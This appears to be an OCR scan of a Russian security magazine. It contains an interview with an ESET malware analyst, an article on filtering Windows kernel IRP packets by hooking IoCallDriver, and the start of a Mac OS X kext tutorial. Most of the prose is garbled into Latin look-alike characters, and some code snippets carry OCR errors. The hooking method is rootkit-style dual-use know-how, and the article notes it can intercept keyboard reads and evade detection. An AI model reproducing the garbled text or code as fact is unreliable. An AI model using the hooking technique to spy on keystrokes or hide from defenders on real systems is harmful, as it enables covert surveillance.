BHYTPEHHME MHCTPYMEHTbI 415 3TUX Liesieit. EcTb ewe
Ky4aBCero BHyTPEHHEro 1 CeKpeTHOro, 4To
onucbIBaTb Ha NabanKa npocTo He Mory.

BHYTPN KOMIMAHUN HABEPHAKA

ECTb KAKME-TO BHYTPEHHUE
NHCTPYKLUMN M METOLO0J1I0M NN O
AHANN3Y MAJIBAPU. YTO OHW COBOM
MPUMEPHO MPEACTABJIAKOT?
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VIHTepBbto C rNaBHbIM aHTUBMPYCHbIM aHanuTukoM Eset/Russia

OBLUX UHCTPYKLMIA HE TaK YK 1 MHOTO, TaK

KaK TYTMOXHO XOTb [1eCATb pa3 nepeymnTbl-
BaTb, HO MOKa caM pykamu He nonpobyellb—Huyero
He bypeTnonyyaTbcsa. EcTb rnobansHas Wiki, roe
pasMeLLaloTCs HEKOTOPbIE NYTEBbIE 3aMETKU M0
0c060 CNOXHbLIM BPeLOHOCHLIM NpOrpamMMam,
MeTOoAaM pacrnakoBKW NPOTEKTOPOB, aNroOpUTMBbI
wnppoBaHms Tpaduka 60THETOB M NONE3HbIE
CKpUNThI. KcTaTyh, NpoLLIo 0CeHbIo BbILWNA 04EHb
nonesHas KHuxuua “Malware Analyst’s Cookbook”
L1 HAYMHAKLLMX, Mbl €€ aKTUBHO UCMOSb3YEM B
npoLecce NoAroTOBKM KafpoB

EC/IMPUCOBATb ANATPAMMY TBOEIO

PABOYEI0 BPEMEHW, TO KAKME TAM
BYOYTTTABHBIE HAMPABJIEHNA N TIPOMOP-
UMMMEXTOY 3STUMN 3ALAYAMUN?

Moxanyn, pnarpammy laHTa s pucoBaTb He

6yny, Ho B OBLLMX YepTax nocTapaoch OTBETUTL.
MprxoamUTCA MCKaTb KOMMPOMMCChI, TaK KaK C
Kapbepou peceyepaMHe COBCEM 3aBA3bIBaTb He
X04eTcs, HO KOMaHAOM yNpaBNsTh KaK-To HAAO.
[Mo3TOMY Y K@ o rpynmnbl aHANMTUKOB Ha Pa3HbIX
nccnenoBaTesbCKUX HanpaBeHUAX eCTb OTBET-
CTBEHHbIIi Y€10BEK, CKOTOPBLIM 51 COrNacyto 3agadnn
X pa3BUTHE, MOCJIE YET0 OH Y)XKe TpaHCnpyeTbosee
bopManbHyo NoCTaHOBKY 3aAa41 HeMoCpeCTBEHHO
HaaHanuTkos. B ogHOM U3 HanpaBneHnin MHe
NPUXOANTCS COBMELLLATb POV aHaAUTWKA C 0bLLNM
pykoBoncTBoMnabopatopueit. MokaaToTMeTos
KOMMPOMWCCOB paboTaeTXOpOLLO, CTOYKM 3peHUs
NPOLEHTHOMO COOTHOLLEHNS 06LLLero BpeMeHn
3aHATOCTY, HaBepHoe, nonyyaeTtcs 27% Bnonb3y
ynpasneHus n73% B nonb3y peceva. CoBMeLaTb 3To,
KOHEYHO, He MPOCTO, M MOPOW NPUXOANTCSH HefleNaMU
nosiBAATLCSA ,OMa nocie AeCHTU Beyepa. XopoLuo, 4To
61M3KME N0 OTHOCATCSH K3TOMY C MOHUMAHWEM 1
BCAYECKM NOALEPXKMBAIOT MO0 CTPACTb K UCCej0Ba-
TeNbCKOW AeATEeNbHOCTH.

KAKNE ®OPYMbI, BJ10T N N PECYPChI

TblCAM EXEOHEBHO MOHUTOPWLLL?
MOCOBETYW NYYLLUWNE PECYPChbI, YTOBbI
BblTb BTPEHE MOCNEAHUXHOBOCTEN B
OBJTACTUMANBAPMW.

EcnnBbixoTuTe 6bITb BTPEHAE NOCELHNX

COBBITUI Ha aHTUBMPYCHOM MOMNpULLe, TO,
HaBepHoe, CTOMT NoANMUcaTbCcs Ha bnornBcex
aHTUBUPYCHbLIX KOMNAHWUM, TaK Kak Nepuoanyeckny
MHOTMX MOXET YTO-TO UHTEPECHOE NMPOCKOYNTb, U
NyyLe 3T0 YATaTb B NEPBOUCTOYHUKE, @ HE B
HOBOCTHbIX BbIXKMKaX. MHOTO MHTEPECHOTO MOXKHO
HalNTU BTBNTTEPE, €CAN NOJNNCATLCA HA U3BECTHbIX
3anagHbix uccneposatenei. Mpuyem MoxHo byset
He TONIbKO HAaNTK, HO M 0BCYAUTL C HUMU HaW e HHY O
TeMy. Ecav BbI X0TUTe 6bITh BKYpCe MUPOBbIX
TeHAEeHUWI no 0bpaTHOMY aHanN3y, TO OAHO3HAYHO
cTouTnoAnucatbes Ha redditc pupom Reverse
Engineering (www.reddit.com/r/

ReverseEngineering).

PACCKAXXN O KAPOBbIXBOMPOCAX.

KAKMPONCXOONTOTE0P KAHONAA-
TOBBTBOW OTAEJ, KAKVE MPUMEPHO
OAKOTCATECTOBbIE SAJAYN. UCCNEAYETE
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JINKAKUM-TO OBPA30M BO3MOXXHOE
BJIEKXATHOE MPOLLUNOE KAHOVOATA?

HenocpepacTBeHHO K HaM Niloin HabupatoTcs

no pe3synbTaTaM peLleHns TeCTOBOro 3afjaHus
BBUAe KpsikMu. [locne Toro kak KaHgnaaTnpoLen
60JIbLLYI0 YaCTbYPOBHEN, @ lyyLlie — BCe, OH LOJKEH
npefoCTaBUTL Pa3BepHYTOE OMUCaHKNe npoLecca
npoxoxpaerus.locne Bepudnkaumny conoleHa Ha
afeKBaTHOCTbYCNELHbIA KaHAVAAT NpurnatiaeTcs
Ha 04Hoe cobecesj0BaHuNe, B paMKax KOTOPOro U
peliaeTcs erofanbHeiwas cyasba. boinnum
3abaBHble CNyyaun: BNpoLecce HalMa Haxoaunch
yMesiblbl, NponaTynsLine rpaduyecknin uHTepdenc
Tak, 4Tobbl Be3fie bbin cTaTyC «NpoifeH», u
yTBepX/aBLune 06 ycneLHOM NpoXoXaeHUM
3aaHns. nnike sTM neToM bbin ciyyai, korpa
NoTeHLMaNbHbIA KaHAMAAT Lenyto Heeslio peLuan
OfIMH XWUTPbIAYpOBEHb NPY NOMOLLM cO0bLLecTBa
wasm.ru.4Yrokacaetca nposepok HaapuamposaH-
HOCTb CKMBEKPUMUHANBHBIM MUPOM, TO OHU,
6e3yc0BHO, eCTb, HO PaCKpbIBaTb X CYTb A He byay.

ECTbJINBOOBLLEYTBOEIO OTAESA

MOTPEBHOCTb BHOBbLIXKAPAX?
YUYNTbIBAA U IEMOT PAGUYECKNA CNALB
P®, M MPOBJIEMbI POCCUICKOI0 OBPA30BA-
HNA, HACKOJIbKO BAMYIOAETCA 3AKPbIBATb
BCEXXEJIAEMbIE NO3NLINIA?

MoTpebHOCTb 0LHO3HAYHO €CTh, TAK KakK

MHTepeCHbIX 3a[ja4 MeHblle He CTaHOBUTCS, a
UMCII0 PYK ABSETCS OTPaHUYEHHBIM MHOXKECTBOM.
KBanuduumnpoBaHHble cneyannucTbl B Hallel
obnactn—3To cKopee npu3BaHue, Yemnpodeccus,
aHexBaTKayBJIeYeHHbIX I0AEN B 3TOM NpeAMeTHON
obnacTu c KaXabiM rofoMollyllaeTcs sce bonblue n
Bonbliue. Y HaC NOCTOSIHHO OTKPbLITHabop Ha
nccnefoBaTeNbCkue no3nuum kak B Poccun, Tak n
3apybexoM (www.joineset.com). Mpuyem ecTbyxe
6onbLIOe KONNYECTBO NPUMEPOB, KOrAa Hallk
cooTe4eCTBEHHMKM BbibMpaloT paboTy 3anpefena-
MU PO 1 Halla KOMNaHUs BCAYeCKM noMoraeT ¢
nepeesfoMm.

KAKWETNTABHbBIE PE3YJIBTATbI
| PABOTbI TBOEFOOTAEJIA3ATOCIE]-
Hunroad, HEMThIJIMYHO TOPONLLBCA?

HaBepHoe, 0CHOBHOV ropA0CTbI0 ABASIETCA

pe3ynbTaTHallel nccnefoBaTenbCKov paboTsl
“Stuxnet Under the Microscope”. Hawa komnanus
nepBoW BbIMYCTWNA KOMMIEKCHbIA OTHET M0 3TON
yrpo3e cnofpobHbIM aHaNN30M BpeJOHOCHbIX
Mozynen jaHHoro Yepss. [1ocie 3Toro Mbl noayyanu
6narofapHOCTN OT Pa3/IMYHbIX KOMNAHUIA U
rocopraHoB BTeYeHWe HeCKObKMX MecsiLieB. Takxe
Halla yHUBepcasbHas yTUAMTa LS KpUMUHA-
JINCTUYECKOro aHain3a cKpbiToi GanioBoii cMCTEMBI
cemeiicT pyTkuToB TDL3/3+/4, KoTopasi 3HauUTeIbHO
yCKOpsieT BpeMs N3BeYEHNS CKPbITOr0 KOHTeNHepa,
Bblf1a 04eHb TeNI0 BCTPeYeHa 3anafHbIMU
NPaBOOXPaHUTENIbHBIMU OPraHaMu.

KAKYYBCTBYETCAKOHKYPEHLMNAC
AOPYTUMNYYACTHUKAMU PbIHKA?
SAUMCTBYETEJIN APYTY OPYTAVLEWN,

MEPEMAHMBAETEJIN COTPYOHWNKOB?ECTb
JINCOTPYAHWYECTBO M COBMECTHbIE
MPOEKTHI?

Bopbba3akaapsl, 6e3ycnoBHO, CTb, HO Mbl

CTapaeMcsiHaHUMaTb K cebe ntofeit, KoTopble
paHee He bbIAM paboTHUKAMM APYTUX AHTUBUPYCHbIX
KoMnaHWi. Ha 3To ecTb MHOrO NPUYMH, OAHA W,
HaBepHoe, caMas raBHas, Korga K HaM NpUxXoanT
KaHAMAaT C MHOTOMIETHUM OMbITOM B aHTUBUPYCHO
VHIYCTPUN CyKe CIOXKUBLLIENCSH TOUKON 3peHUs Ha
MHOrVe BeLiW, HO 3Ta TOUKA 3PEHNS HAXOANUTCS B
KOHTeKCTe eronpeablaywein paboTbl. OueHb CNOXHO
Takuxnfen nepeybenTb, OHU NbITAOTCS
paboTaTb noyxe BbIpaboTaHHbIM MPUHLMMNAM U
NpMBbIYKAM, ay Hac oHW Apyrue. YTo kacaeTca ngei,
TO Mbl UX HE 3aMCTBYEM, Tak KaK Mbl CBOW-TO He
ycrneBaeM peasn3oBbIBaTb U YYXKNEe HAM HU K YeMy. A
BOT 3aMMCTBOBaHMWeE HalIMX Ml s Kak pa3
0TYeTNNBO Habofalo, HO, 3HaeTe, He KpacKBO Xe
nokasblBaTb NasbleM Ha pyrux. HaaHTneupycHom
pbIHKE 04YeHb KeCTKas KOHKYpeHL s, N03ToMy
COTPYAHNYECTBO 1 COBMECTHbIe MPOeKThl 3Aech
O4eHb peAKo BCTpeyatoTes. 3
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BatoncTaTbe Mbl pacCMOTPUM, KaK, nMed

3yiics, Ho B Gnarux

IRP-NAKETOB

KctaTu, umen B Bupy,

HebOoNbLIOM ONbIT, HAYYUTbLCA ByKBaNbHO C 4TOBCE HOBOMOAHbIe
pyTKv!Tbllﬁy'rKMTbl
MOJINMNHKA, HO COBEPLLUEHHO HEeCTaHA4APTHO cemeiicTaaTuna

TDL3 (4), kak npaBu-

no, nepexsaTbiBalOT
ycTaHaBnMBaTb CI)VIJ'IvprbI YPOBHSA f4pa. 7 nepexsars:
Pa3paboTaeM HOBbIN MeTO 3aCTaBUTb TOro TGkl ckpbiBaTs

cBOenpucyTcTeues
cucTteMy paboTath Ha cebs. cucTeme.

MABTPOBATb MOXHO NPaKTUYECKM YTO YrOHO: OCTYN K paitnam,

3arpysky 6ubanoTek v cTapTNpoLLeccoB, 0TNPaBKY M NpUeM fAaH-

Hbix Mo CeTu, B KOHLLe KOHLL0B, HaXKaTue KaBWLL Ha KiaBnaType
1 ABVKEHME MbILLN. Bce 9TV AeACTBUS OCYLLECTBASIOTCH HECKONTbKUMMU
cnocobamu. Kak npaBuio, eciv peyb MAET 0 M0Jb30BaTEIbCKUX KOMMO-
HeHTax, To 6aHaNbHbIM MepexBaTOM HYXXHbIX PYHKLMIA. ECain xe HYKHO
nepexeaTWTb AaHHble BaApe, Toy Microsoft'a cylecTByeT cneymnansHas
KOHLenuns punbTpos n MuHU-dunbTpos (6onee nogpo6Ho 06 3ToM MOXHO
nountate Ha MSDN: http://goo.ql/kPt8b, http://goo.gl/igD0b]. K npumepy,
uT06bI CNEANTL 33 0TNpaBnsieMbiMu B CeTb 3anpocaMy nosib3oBaTelb-
CKUX NMPUOXEHWNI, UMeeTCs pacnpocTpaHeHHbli BapnanT TDI-dunetpa,
KOTOPbI NPMCOeMHARTCS B CeTeBOM CTek. Mnunike ecTb cnocob cospanns
NDIS-IM-gpaiiBepa, KOTOpbIV TakXKe ABNSETCSA CBOE0OPa3HbIM CETEBbIM
GnnbTpoM. B obLeM, BO3MOXKHOCTE 04eHb MHOT0, @ BOT CMOCOH0B X
peann3auuu Kak-To ManoBaTo.

HOBbI MEXAH3M

Kak npaBwuio, uabTpaLus npoMcxoanT Npu noMoLL Npucoe ANHeHNs
CBOEro0bbekTa-ycTpoicTBa K HY)KHOMY CTeKy—ceTeBoMY, GainnosoMy u
T.4.BboneeToro, Microsft WDM uMeHHo Tak 1 pekoMeflyeTnocTynaTb—mus
pesynbTaTe Bce Tak MnocTynatoT: Bbi3oBbl loCreateDevice nloAttachDevice
MOXXHO YBUAETb MOYTU B KaXKA0M GUILTPE, 3aKOHHOM WS He 04eHb. CMbICH
HaxoAsALLerocs BcTeke GpunbTpa—aTonponyckatbyepescebs|RP-naketsl,
nyTelecTBylolMe TyAa-CloAa, AJ151 MOVCKA M BO3MOXHOW COPTUPOBKMY, @
MHOTfa— W n3MeHeHui, nepefaBaeMbix B IRP-gaHHbIX. Huyero cnoxHoro
B3TOMHET, N NPaKTUYHbIA NPOrpaMMUCT, HanucaB Napy-TPoiKy GuaLTPoB

1 pa3obpaBLUNCh BXXM3HEHHOM Linke IRP-nakeToB, HaulHaeTyBepeHHO
nepexBaTblBaTh AaHHbIE, KOTOPbIE ALPO rOHAET MeX Ay AieBaliicamu. YToxe
TYTMOXHO eLLie NPUAYyMaThb, CMPOCULLb Thl. EANHCTBEHHOE, YTO 06LL,Er0 MOXHO
HalTV BO BCeX 3TUX GUNBTPaX-yCTPOICTBAX, 3T0 BbI30B dyHKUuu loCallDriver.
EcnuB3rnsaHyTh B MUKPOCKOM Ha 3Ty PyHKLIMIO, TOabCONOTHO HMYEro npu-
MeyaTeslbHOro Mbl TaM He yBuAMM. BCE, 4To oHa AienaeT, 3T0 0TMaTbIBaeT CTeK
Ha3a/ v Bbi3biBaeT Major-obpaboTymka HiKeNnexallero apaiiBepa, nepeas
eMyyKasaTennHa obbekT-ycTpoiicTBo v 0bpabaTtsiBaeMblil IRP-naker.

NTSTATUS
FASTCALL
IopfCallDriver(
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YHuBepcanbHbIi GunbTp

IN PDEVICE_OBJECT DeviceObject,
IN OUT PIRP Irp

)

Irp->CurrentLocation--;

irpSp = IoGetNextIrpStackLocation( Irp );

Irp->Tail.Overlay.CurrentStackLocation = irpSp;

irpSp->DeviceObject = DeviceObject;

driverObject = DeviceObject->DriverObject;

status = driverObject->MajorFunction[irpSp->MajorFunction](
DeviceObject, Irp );

return status;

KcTaTn, loCallDriver—3TonceBAoHUM BCTpEYaeMoro B intepaType
Ha3BaHus dyHkumuu lofCallDriver, koTopas, B cBO 04epefb, BCEro nLLb
fBnseTcs 3arnywkoi ans soi3osa lopfCallDriver. MoxHo cpasy oTMeTUTb,
4TO ecN GUNbLTPOBATL JaHHbIe BAApE BbiLeONMCcaHHbIM 06pa3oM, To
BC&, yeM bypeTcebs BbifaBaTh Takas GuabTpaLms, — 3T0 OfMH NepexsaT
loCallDriver. M Bcé! He byneT cywecTBoBaTh KAKUX-TO MOA03PUTENb-
HbIXYCTPOWCTB, MpULLeNIeHHbIX B CTeK, He byfeT nepexBaToB major-
obpaboTymkoB B cucTeMe. Bc&, 4To MOXHO byaeT HaNTW, —3TO U3MEHEH-
Hbllagpec yHkunm loCallDriver, a BOTYyXe onpefenunTb, 4TO UMEHHO
bunbTpyeTCs M Kakue laHHble NPOXOAAT Yepe3 HyTPO TBOErO HeMpoCToro
apaiisepa (ecnv oH, KOHEYHO, CylLecTByeT OTAENbHbLIM GaliioM, HO YTO
MeluaeT 3apa3uTb Apyroi apansep?), byaeT o4eHb 1 04eHb CIOXKHO.

OMPELEJIAEM, OTKYOA U KYOA
Tenepbcamoe rnaBHoe u caMoe cnoxHoe. [pocToii nepexsaT IRP-nakeTa,
0CHOBaHHbIN Ha efuHCcTBEHHOM XyKe loCallDriver, B Halwei cuTyauum
He noMoxeT, nBoTnoyemy. Ckaxem, MJ-kop IRP_MJ_CREATE moxeT
nocblNaThCs NpU co3aaHum daiina Ha LUCKEe UV NPpY CO3AaHNN CETEBOTO
coeAnHeHns. YTobbl cienaTh 4TO-TO MOI€3HOE, MOJTYYMB KOHTPOIb Haf,
IRP-nakeToM c TakMM KOLLOM, TBOVI fipaiiBep fokeH obnafatb onpepe-
NIEHHON NOTVKOW, N03BOASIOLLLE ONpeAenNTb, Kyfa UMEHHO U C KaKon
Lenblo nocbinaeTcs aToTIRP-nakeT, aBOT3To yKe ;OCTaTO4HO FEMOPPHO,
Ho BCE e ocyLiecTBuMo. Bcé nenosToM, ytonpunepexsate loCallDriver
BHalUM pykunonagaeTnykasatens Ha DeviceObject, pacnapcus KoTopbiii,
MOXHO ;0CTAaTOYHO TOYHO OMPeAeNnTb, KoMy npefHa3HavaeTcs IRP. BosbMeM
KOHKpeTHbIN npumep. lMpy 4TeHnn ckaHkof,a KNaBnaTypbl Mo CTeKy MOAK0-
YeHHbIX «yCTPOWCTB KNaBmaTypbl» nporoHsietcs IRP-naketckopoM IRP_MJ_
READ.MbinepexsatbiBaeMloCallDriver, nonyyaemykasatens Ha IRP-naker,
MajorFunction koToporo pasHsietcs IRP_MJ_READ.Hokak onpepenuts, 4to
3TOTNaKeT UMEHHO 0T KJ1aBUaTypbl? [111513TOr0, KaK 1 y)Ke FOBOPWII, HaM HyX-
HO MpoaHann3npoBaTbTakXe nepexsayeHHbliykazatenbHa DeviceObject. B
C/lyyae C K1aBMaTypoii 3TO MOXKHO CAenaTh cieaylowmnm obpasom.

Tak KaK yCTpOICTB B CTEKE MOXKET BbITb HECKOJIbKO, MOXHO (Kak Bapy-
aHT) NpocTo NpocMoTpeTh Ha3BaHWe TeX 4paliBepoB, KOTOPbIE CO3A4aNN ITU
ycTpoiicTBa:

BOOLEAN IsKeybordDevice( DEVICE_OBJECT * topDevice )
{
UNICODE_STRING driverName = {0};
DEVICE_OBJECT * device = 0;
RtlInitUnicodeString( & driverName, L"\\Driver\\Kbdclass");

for (device = TopDevice;
device;
device = device->DeviceObjectExtension->AttachedTo)
{
if (_IRtlCompareUnicodeString(
&device->DriverObject->DriverName, &riverName, TRUE))
return TRUE;

}
return FALSE;
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KnioyeBbIM MOMEHTOM A5 GUABTPALNM ABNSETCS MAPCUHT CTPYKTY-
pbl DeviceObject. MonyynsykasaTenb Ha Hee, Mbl 1IErKO MOYYUM yKa3a-
Tenb Ha NpUHajNexaluil CTpyKType onucaTtesb paitBepa— CTPyKTypy
DRIVER_OBJECT. MoxHO Tak)xe npoaHann3npoBaTb cTeK, rae bbia noii-
MaH 3a xBocTIRP, nns3T0ro, ecnim NOMHMLWb, HYXKHO Bbi3biBaTb I0_STACK_
LOCATION *stack = IoGetCurrentIrpStackLocation(pIrp).daneeno
yKa3saTeJilo Ha CTEK Thl y)Ke CMOXKeLLb MPOaHan3npoBaTh ykazaTesb Ha
«0bbekT-Ppaitn» —stack->FileObject. To ecTb TaKUMU BOT HEXNTPBIMYU
NeNCTBUAMMN Thl CMOXeLb ONpefeNnTb, Kyfa u KoMy npeaHa3HayaeTcs
IRP-nakeT, Hya yTo c HUM flenaTb—peno cyrybo teoe. Tak, Hanpumep,
MOXXHO 3aNpeTUTb YTeHNe Kaknux-nnbo paitnos c fucka. He HyxHo nucaTb
CNOXHble GUNbTPbI GannoBon cucTeMbl Ansatoro!

[NocTatoyHo nepexBaTuth loCallDriver, opraHusosats GuasTpaLmuo
IRP-naketoB ckogom IRP_MJ_CREATE, noykasatento stack->FileObject
nonyunTh nMs dpaitna:

OBJECT_NAME_INFORMATION *fileNameInformation = 0;

status = ObQueryNameString( stack->FileObject,
fileNameInformation, 1024, &retSize);

wcscat(fileNameInformation->Name.Buffer,
stack->FileObject->FileName.Buffer);

DbgPrint("file name now is: %ws \n", fileNameInformation->Name.Buffer);

...nocneyero3aBepHyTb3ToTIRP-nakeT, ecnuox, fonycTum, npeaHasHa-
YEH 419 OTKPLITUA TOro Gaiina, KoTopblii Tebe HyXKHO 3aLUTUTb.

ULONG CreateDisposition =
(stack->Parameters.Create.Options>> 24)& 0x000000ff;

if((CreateDisposition==FILE_CREATE)||
(CreateDisposition==FILE_OPEN_IF )||
(CreateDisposition==FILE_OVERWRITE_IF))

{
Irp->IoStatus.Status = STATUS_ACCESS_DENIED;
Irp->IoStatus.Information = @;
IoCompleteRequest(Irp, I0_NO_INCREMENT);
ExFreePool(fileNameInformation);
return STATUS_ACCESS_DENIED;

}

CJIOXKHOCTW

Bcnocobe punbrpaunmn IRP-gaHHbIX, 0CHOBaHHOM Ha nepexBaTe
loCallDriver, ecTb 0fHa cepbe3Has cnoxHocTb. lenosToM, yto loCallDriver
ABSETCSA Ype3BblyaiHo ucnonb3yemon dpyHkumeit Bagpe Windows'a. 31o
CBSA3aHO C 04eBUHbIM GaKTOM — QYHKLIMS TONIbKO U leNaeT, YTo 0Tnpass-
eTIRP-nakeTbl HanpaBo-HaeBo, a B3anMoAencTBME MEXAY ApaliBepaMu-
yCTPOWCTBaMW B Ape 0CHOBAHO MMeHHO Ha nockisike IRP-nakeToB. Mpasaa,
npv obcnyxuBaHuy GannoBor CUCTEMbI TAKXKe MHOTA UCMoNb3yeTcs
MexaHu3M FastlO, Ho 06 3ToM no3xe. EcnvnpeacTaBuTh, 4TO BCA 3TaKyya
fpaiiBepoB HauynHaeT cnatb Apyrapyry IRP-nakeTbi nux obpabatbiBaTh, TO
MOXHO JIErKO NPeicTaBUTh, KaKyio Harpy3ky ucneiteiaetloCallDriver —
peybMOXET NATH 0 HECKOJIbKUX COTHSIX BbI30BaXx B CeKyHpy. [oaTomyycTa-
HoBKa/cHATMe nepexsaTa Ha loCallDriver — gesno ToHKoe 1 fierko pyluatiee
cuctemyBBuae BSOD'ackogom DRIVER_UNLOADED_WITHOUT_CANCELLING_
PENDING_OPERATIONS. 3T0 NpoMCX0AMT 06bIYHO, eCIM HaYMHaellb Npu
nepexsaTe He 04eHbakKypaTHo 0bpabaTbiBaTb Te JaHHbIE, KOTOPbIE HECYTC
coboit IRP-nakeTbl. Cnewwy npepoctepeyb: HEOOXOANMbBIM YCIOBUEM TBOETO
LpaiiBepa, KoTopblii byaeT nepexsaTtbiats loCallDriver, fonxHa bbiTh rpa-
MoTHasi 0bpaboTka n3aBeplleHne Bcex npocMoTpeHHbIX IRP-nakeTos.

3AKJIRYEHWE

Kak oka3sblBaeTcs, CenaTbyHWBEPCabHbIA M HECTAHAAPTHbI GUALTP
[0BOJIbHO Nerko. Aecniv 4oCTaToOYHO ONblTa KOAUHTa ipaiiBepoB, TO CO3-
LaHHbIN GunbTp byaeTobnagath elle M TONMKON HafeXHoCcTH. Boamox-
HOCTEN NPUMEHEHUS Y 3TON HEXUTPON TEXHUKM 04EHb MHOTO, @ 3aTPaThl Ha
peanu3aunio MUHUMaNbHble — 3TO XOPOLUWIA CTUMYS ANS pa3BUTUS TEMbI B
[LOMaLWHUX yCI0BUSX. Y4aYHOT0 KOMMMANPOBaHWS, n Aa npebynetctoboint
Cuna! 3C
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BceBonoa 3axapos (seval@vingrad.ru)

X

A00DOM MO
MakuHTOLLY

U3YYAEM KERNEL-KOAUHI MOAMACOS X

PaspaboTtka npuknagHbix nporpamMm nog Mac 0S X
ni0S 0THOCMTeNbHO HEM0X0 OCBELLEHa B INTe-
paType v uHTepHeTe. A Kak HacyeT TeMbl CO3AaHNS
KoJia, KOTOPbIN [OJIKEH BbIMOJIHATHCS B peXXume
appa? C atuM —rnyxo. B aton ctatbe Mbl nonpoby-
eM laHHYt0 HecnpaBeAnBOCTb IMKBULAMPOBATD.

XNU BHYTpM
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AP0 MAC 0S X

[ln51 Hayana—HeMHoro Teopum, KoTopasi noMoxeTTebe Npu co3fgaHuy pac-
wupenwnitagpa. Mac 0S X ocrHosana Hasgpe XNU (XNU is not UNIX). XNU—3T0
rnbpuaHoe A4po, KOTOPOE COCTONT U3 HECKOIbKUX KOMMOHEHTOB: NoACUCTe-
Mbl Mach, BSD 1 06bekTHO-0preHTHPOBaHHOTO GpeitMBOpKa 415 CO3[aHNS
npaisepos|0Kit.

Mach—>3To M1Kpospo, co3faHHoe B pe3ysibTaTe UCCIIeA0BAHMIA B
yHusepcuteTe KapHern B cepefinHe 80-x rogos. MukposinepHas apxuTekTy-
pa, Kak U3BECTHO, HEMJI0X0 CMOTPUTCS B MPE3eHTaLUsIX, HO, K COXaNeHIo,
NPUBOAMUTK Cepbe3HbIM NpobiemMaM c Npon3BOANTENbHOCTLIO M 0TNAAKON.
Buanmo, noatomy npoekt GNU/HURD, B koTopoM cuctema GNU noctpoeHa He
HaMoHONMTHOM Linux, a Ha MuKposgpe, Bce ellie Aaek 0T Bbinycka cTabub-
Ho Bepcuu. HeT-HeT, He BonHyiics, npo Mac OS X Mbl nofobHoe He ckaxeM, 1
BOBCE He MOTOMY, 4To 6oMMCA MeCcT A6104HbIX paHaToB:). [leno B ToM, 4To B
Mac 0SXnoacuctema Machucnonb3yeTcs BHECKOIbKO MU3MEHEHHOM BUAE:
MVKPOSLPO M BCE KOMMOHEHTbI, KOTOPbIE OHO A0/KHO 06C/yKMNBaTh, CObpaHbI
Be/JMHOM apecHOM NPOCTPaHCTBE MOHONMTHOIO Afpa. Tako xo[, COAHOM
CTOPOHbI, N03BONSET UMETb B01ee CTPYKTYPUPOBaHHOE A4 PO, a C Apyroit—
136aBnseToTnpobaeMcoTNagKoN N NPOU3BOANTENBHOCTHIO.

Mach-kopBXNU oTBeYaeT3a b01bWNHCTBO HU3KOYPOBHEBBIX PYHKLINIA:
®  BbITECHsIIOLLas MHOr03a[jaqHOCTb;
®  BUpTYyasbHasinamaThb;
®  MeXNpoLeccHoe B3anMoeiicTBue;
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*  rpepbiBaHUS;
®  KOHCOJIbHbI/i BBOA-BbIBO.

Mopcuctema BSD sppaMac 0SXocHoBaHa Hakope n3 FreeBSDuoTtseva-
€T3aBbINONHEHUE CeAy oL MX 3aau:
* yaeHTMdUMKaLMIo Nonb3oBaTens v 6a3oByto Mofesb6e30nacHoCTy;
e POSIXAPI, cucteMHble Bbi30BbI BSD;
e TCP/IPBSD-cokeTbl;
* dalinoBble CUCTEMBI;
®  pPa3fIMyHbIe MEXaHWN3Mbl CUHXPOHM3aLIUW;
® MOALEPXKYPEanbHOro BpEMEHU.

[nsiB3anMopericTBus cobopynoBaHnemBaape Mac 0S X npumenseTtcs
06beKTHO-opneHTUpoBaHHbIV dperiMBopk |0 Kit. OH ucnonb3yeTorpaHu-
YeHHoe Mo MHOXeCcTBO C++ B KayecTBe A3blka NporpaMMmMpoBaHns. BHem,
HanpuMep, OTCYTCTBYIOT TaKMNE 3N1EMEHTbI, KAK UCKITYEHNS, MHOXKECTBEH-
Hoe HacnepoBaHue, WwabnoHbl M RTTI. Kaxabli TMN cepeuca snpa nm
ycTpoiicTBanpeactasneH B |0 Kit B Buae knacca C++, a Kax bl KOHKPETHbI
CepBUCUINYCTPOCTBO—BBUAE 06beKTa aToro knacca. Kopoyerosops,
npaiieep |0 Kit—3To 06beKT, KOTOPbINyNpaBAseTyCTPOWCTBOM WU LUWHOIA,
npencTaBnis abcTpakTHbIA UHTEPdENC K HUM LIS APYTUX YaCTel CUCTEMBI.

MOZYIV A1PA

MacOSXnpepocTaBnseT BO3MOXHOCTb PaCLUMPATL AAPO C MOMOLLbIO

LAVNHAMWYeCKOM 3arpy3Ku Moayneil aApa, KoTopble HasbiBaloT kext'amu (oT

kernel extension). Ecnv bl He cobupaewscs npasuTb ucxogHuku XNU,

TO @ ANHCTBEHHAs BO3MOXHOCTb BbIMOJHUTL KO B peXunMe agpa—>3To

HanucaHue n3arpyska pacwupenus. Tak, gpavisepa |OKit peanunsoBaHbl

nMeHHo B Buze kext'o. Kext'sl—3T0 6aHf b, Kak 1 06bI4HbIe NONb30BA-

Tenbckue npunoxernus Mac 0S X, noHu cogepxart:

e plist-daiin, BkoTopoMonucaHo cogepxxumoe baHana, ycTaHoBKW M 3a-
BUCUMOCTUN MOAYNS;

e BuHapHble pannbl Mopynsa anpa— dainsl B Mach-0-popmaTe, BKOTOpbIX
COflePXKNTCA KO, MOATPY>KaeMblii BagpecHoe NpoCTPaHCcTBO A4pa;

®  pecypcbl—MUKOHKM, laHHble 1 10KaAN3aLn nT.0.

Korpa kextcospaH, 3arpy3nTb ero B AAPO MOXKHO C MOMOLLbI0 KOMaHAbI
kextload n3 TepmuHana. Mpu 3ToM Heobxo0AMMO UMETb NpaBa afAMUHUCTpPa-
Topa. OTnaxmBaTb kext'bl c/loXKHee Nosib30BaTENbCKUX MPUSTOXKEHNI. B
nepBylo o4epe/b, HY)XXHO pa3pelnTb oTNaaKky aapa. lnsdotnagkuaapa,
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KaK BOAWUTCS, He0bX04MMO CNONb30BaThb 1BE MALLMHBI: Ha OAHOW paboTa-
eTAAPO, a Ha Apyron—otnagyuk. Ans otnagkuncnonb3syetcs GDB. Korpa
kextoTnaxeH, ero MoXHo ycTaHaBnMBaTb B cucTeMy. Toraasasarpysky
paclmMpeHns npy 3anycke cuctembl bygetotseyatb kext-manager. [1ns
atoro 6aHan kext'a HyxHo nomecTuTb 8/System/Library/Extensions.

Mpu cozpannm kext'os (kak noctansHoro codra) 8 Mac 0S Xucnonbayetcs
XCode. MonpobyeM co3paTb NpocToe pacluvperune sapa c noMolyblo aToi IDE.
LN 3TOro HaM HyXHo:

1. 3anyctutbXCode:).

2. Co3paTbHOBbIV NpoeKT M cpeam WwabnoHos BbibpaTh Generic Kernel
Extension, nockonbky Mbl 6yaeM co3faBaTb NpocToe paclunperne HaC,
aHelOKit-gpaiiBep Ha C++.

